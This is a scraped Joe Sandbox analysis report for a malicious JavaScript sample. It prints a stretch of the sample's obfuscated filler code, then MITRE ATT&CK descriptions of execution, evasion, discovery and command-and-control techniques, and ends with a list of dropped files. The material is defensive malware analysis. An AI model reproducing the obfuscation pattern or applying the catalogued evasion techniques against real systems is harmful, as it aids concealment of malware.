1333	uizcfw = "r";
1334	uizcfw = "S";
1335	uizcfw = "P";
1336	uizcfw = "x";
1337	uizcfw = "J";
1338	uizcfw = "M";
1339	uizcfw = "P";
1340	uizcfw = "d";
1341	uizcfw = "j";
1342	uizcfw = "Q";
1343	uizcfw = "M";
1344	uizcfw = "M";
1345	uizcfw = "D";
1346	uizcfw = "W";
1347	uizcfw = "e";
1348	uizcfw = "I";
1349	uizcfw = "V";
1350	uizcfw = "G";
1351	uizcfw = "D";
1352	uizcfw = "E";
1353	uizcfw = "f";
1354	uizcfw = "y";
1355	uizcfw = "S";
1356	uizcfw = "t";
1357	uizcfw = "d";
1358	uizcfw = "X";
1359	uizcfw = "V";
1360	uizcfw = "a";
1361	uizcfw = "R";
1362	uizcfw = "R";
1363	uizcfw = "f";
1364	cmlotrtq = "P";
1365	cmlotrtq = "I";
1366	cmlotrtq = "K";
1367	cmlotrtq = "p";
1368	cmlotrtq = "f";
1369	cmlotrtq = "e";
1370	cmlotrtq = "O";
1371	cmlotrtq = "Y";
1372	cmlotrtq = "N";
1373	cmlotrtq = "Y";
1374	cmlotrtq = "M";
1375	cmlotrtq = "x";
1376	cmlotrtq = "n";
1377	cmlotrtq = "v";
1378	cmlotrtq = "u";
1379	cmlotrtq = "T";
1380	gobwu = "B";
1381	gobwu = "Z";
1382	gobwu = "M";
1383	gobwu = "u";
1384	gobwu = "Y";
1385	gobwu = "q";
1386	gobwu = "g";
1387	gobwu = "V";
1388	gobwu = "D";
1389	gobwu = "z";
1390	gobwu = "P";
1391	gobwu = "v";
1392	gobwu = "N";
1393	gobwu = "p";
1394	gobwu = "I";
1395	gobwu = "g";
1396	gobwu = "k";
1397	gobwu = "w";
1398	gobwu = "U";
1399	gobwu = "H";
1400	gobwu = "F";
1401	gobwu = "n";
1402	gobwu = "r";
1403	gobwu = "M";
1404	gobwu = "P";
1405	gobwu = "V";
1406	gobwu = "q";
1407	gobwu = "y";
1408	gobwu = "O";
1409	gobwu = "k";
1410	ftdsprk = "X";
1411	ftdsprk = "I";
1412	ftdsprk = "X";
1413	ftdsprk = "v";
1414	ftdsprk = "g";
1415	ftdsprk = "a";
1416	ftdsprk = "l";
1417	ftdsprk = "m";
1418	ibpzepj = "j";
1419	ibpzepj = "i";
1420	ibpzepj = "k";
1421	ibpzepj = "E";
1422	ibpzepj = "V";
1423	ibpzepj = "z";
1424	ibpzepj = "q";
1425	ibpzepj = "H";
1426	ibpzepj = "Y";
1427	ibpzepj = "b";
1428	ibpzepj = "T";
1429	ibpzepj = "T";
1430	ibpzepj = "E";
1431	ibpzepj = "k";
1432	ibpzepj = "S";
1433	ibpzepj = "v";
1434	ibpzepj = "v";
1435	lougs ( );	lougs() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2148023713578731850.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\281e9bf4-a069-425d-9201-deb1ecab39f1.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.480

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
2148023713578731850.js